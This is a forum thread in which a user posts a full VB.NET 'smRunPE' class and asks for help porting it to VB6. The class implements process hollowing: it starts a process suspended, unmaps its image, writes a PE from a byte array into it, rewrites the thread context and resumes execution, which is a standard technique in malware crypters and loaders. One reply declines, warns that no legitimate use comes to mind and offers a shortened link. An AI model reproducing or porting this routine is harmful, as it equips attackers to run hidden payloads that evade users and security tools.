need help plz

err

New member
Local time
Today, 05:27
Joined
Oct 8, 2012
Messages
2
hi evry1

i need help plz can any1 convert this code in vb.net 2 vb6 plz


Public Class smRunPE
<DllImport("kernel32", charset:=CharSet.Auto)> _
Private Shared Function CreateProcessW(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal PTA As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, _
ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("ntdll")> _
Private Shared Function NtGetContextThread(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("ntdll")> _
Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
End Function
<DllImport("ntdll")> _
Private Shared Function NtReadVirtualMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSS As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("ntdll")> _
Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SC As IntPtr) As UInteger
End Function
<DllImport("ntdll")> _
Private Shared Function NtSetContextThread(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal SS As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
End Function
<DllImport("ntdll", SetLastError:=True)> _
Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal VABA As IntPtr, ByVal lpBuffer As Byte(), ByVal nSS As UInteger, ByVal NOBW As Integer) As Boolean
End Function
Private Shared Function ReadPtr(ByVal lPtr As Long, Optional ByVal lSS As Long = &H4) As Integer
Dim lRes As IntPtr
Dim lBr As Integer
Call NtReadVirtualMemory(Process.GetCurrentProcess.Handle, lPtr, lRes, lSS, lBr)
Return lRes
End Function
Public Function iExec(ByVal Buff As Byte(), ByVal sExe As String) As Boolean
Try
Dim hGC As GCHandle = GCHandle.Alloc(Buff, GCHandleType.Pinned) : Dim hModuleBase As Integer = hGC.AddrOfPinnedObject : hGC.Free()
Dim PTA As IntPtr = IntPtr.Zero
Dim tPI As IntPtr() = New IntPtr(3) {}
Dim tSI As Byte() = New Byte(67) {}
Dim N2 As Integer = BitConverter.ToInt32(Buff, 60)
Dim IB As Integer
Dim CNTXT As UInteger() = New UInteger(178) {}
CNTXT(0) = &H10002
CreateProcessW(Nothing, New StringBuilder(sExe), PTA, PTA, False, 4, PTA, Nothing, tSI, tPI)
Dim hPE As Integer = (hModuleBase + ReadPtr(hModuleBase + &H3C))
IB = ReadPtr(hPE + &H34)
NtUnmapViewOfSection(tPI(0), IB)
Dim VABA As IntPtr = VirtualAllocEx(tPI(0), IB, ReadPtr(hPE + &H50), &H3000, &H40)
Dim SA As New IntPtr(BitConverter.ToInt32(Buff, N2 + &H34))
Dim SS As New IntPtr(BitConverter.ToInt32(Buff, N2 + 80))
Dim WRET As Integer
Dim NOBW As Integer
NtWriteVirtualMemory(tPI(0), VABA, Buff, CUInt(CInt(ReadPtr(hPE + &H54))), WRET)
For i = 0 To ReadPtr(hPE + &H6, 2) - 1
Dim Destination As Integer() = New Integer(9) {}
Buffer.BlockCopy(Buff, (N2 + &HF8) + (i * 40), Destination, 0, 40)
Dim B2 As Byte() = New Byte((Destination(4) - 1)) {}
Buffer.BlockCopy(Buff, Destination(5), B2, 0, B2.Length)
SS = New IntPtr(VABA.ToInt32() + Destination(3))
SA = New IntPtr(B2.Length)
NtWriteVirtualMemory(tPI(0), SS, B2, CUInt(SA), NOBW)
Next i
NtGetContextThread(tPI(1), CNTXT)
NtWriteVirtualMemory(tPI(0), CNTXT(41) + &H8, BitConverter.GetBytes(VABA.ToInt32()), CUInt(&H4), NOBW)
CNTXT(&H2C) = IB + ReadPtr(hPE + &H28)
NtSetContextThread(tPI(1), CNTXT)
NtResumeThread(tPI(1), 0)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Class
 
You really need this converted, or you just want to run an executable in memory from a byte array?

If it is the latter then you should be able to find what you need by Google searching "execute in memory from byte array vb6" but be very careful of any code you download because it has lots of potential to cause damage.
 
thnx for reply
cant see anything in google it drive me crazy

so if u can convert it so good thnx Again bro
 
Sorry, I don't have the time or inclination to convert this code.

If you can't find it on Google, try looking here: http://tinyurl.com/8khab2h

As I said earlier, download and use at your own risk because I can think of no legitimate use for this (which is not to say that there is not one!).

Good Luck.
 

Users who are viewing this thread

Back
Top Bottom